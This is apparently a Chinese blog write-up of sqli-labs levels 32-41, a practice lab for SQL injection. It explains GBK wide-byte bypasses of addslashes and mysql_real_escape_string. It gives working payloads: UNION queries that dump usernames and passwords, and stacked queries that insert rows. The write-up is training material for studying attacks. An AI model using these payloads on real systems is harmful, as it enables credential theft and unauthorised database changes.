sqli-labs Less-32-41

Less-29-31三关是waf绕过,但是我pull的镜像里并没有tomcat环境和jsp文件,所以没法继续做,这也客观上导致了我昨天鸽了一天。
大概看了一下wp,是通过tomcat和apache(nginx)对参数解析不同进行注入,三关都是一样的做法,只是单字符/双字符/括号的不同,这里先跳过,最后有空再写吧(必鸽)

  • Less-32
    先看题目'bypass custom filter adding slashes to dangerous chars',又是绕过。
    ?id=1
    ?id=1'
    ?id=1"
    都正常回显,结合下面的hint可知单双引号均被转义(加\),之前做的题都是过滤关键字,空格等,这里转义引号是第一次遇到,wp中是用宽字节的方式注入。

如果程序的默认字符集是GBK等宽字节字符集,就有可能产生宽字节注入,绕过上述过滤。
若在 PHP 中使用mysql_query("set names gbk")将默认字符集设为GBK,而使用addslashes()转义用户输入,这时如果用户输入%bb%27,则addslashes()会在%27前面加上一个%5c字符,即转义字符\。
而 MySQL 在使用GBK编码时,会认为两个字符为一个汉字,%bb%5c是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是籠,也就是说%bb%5c%27=籠',这样单引号就未被转义能闭合语句,从而产生 SQL 注入。%bb并不是唯一一个可以产生宽字节注入的字符,理论上%81-%FE均可。

构造payload:

?id=0 %ed' union select 1,group_concat(username),group_concat(password) from users%23
1.png

注入成功

  • Less-33
    先看题目,绕过addslashes()函数
    在Less-32使用的是自定义的转义函数,而Less-33用的是php提供的addslashes()函数

addslashes(string)函数返回在预定义字符之前添加\的字符串:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。
其他完全同Less-33

  • Less-34
    和Less-34差不多,但是get换成了post
    抓个包改一下就行


    2.png
  • Less-35
    数值型注入,不需要关心引号是否被过滤,直接构造payload:
?id=0 union select 1,group_concat(username),group_concat(password) from users %23

即可注入成功(懒得截图了)

  • Less-36
    mysql_real_escape_string绕过
    同样可以 宽字节注入
    构造payload:
?id=0%ed%27 union select 1,group_concat(username),group_concat(password) from users %23

注入成功

  • Less-37
    get该post
    其他和上面一样


    3.png

    注入成功

  • Less-38-41
    这几个都是差不多的,比较简单的堆叠注入
    堆叠注入在之前的强网杯2019随便注中遇到过了
    Less-38:基于报错,单字符
    Less-39:基于报错,数值型
    Less-40:基于布尔,单字符括号
    Less-41:基于布尔,数值型
    分别构造payload:
    ?id=1';insert into users(id,username,password) values(20,'1','2')%23
    ?id=1;insert into users(id,username,password) values(21,'1','2')%23
    ?id=1');insert into users(id,username,password) values(22,'1','2')%23
    ?id=1;insert into users(id,username,password) values(23,'1','2')%23
    4.png

    插入成功

你可能感兴趣的:(sqli-labs Less-32-41)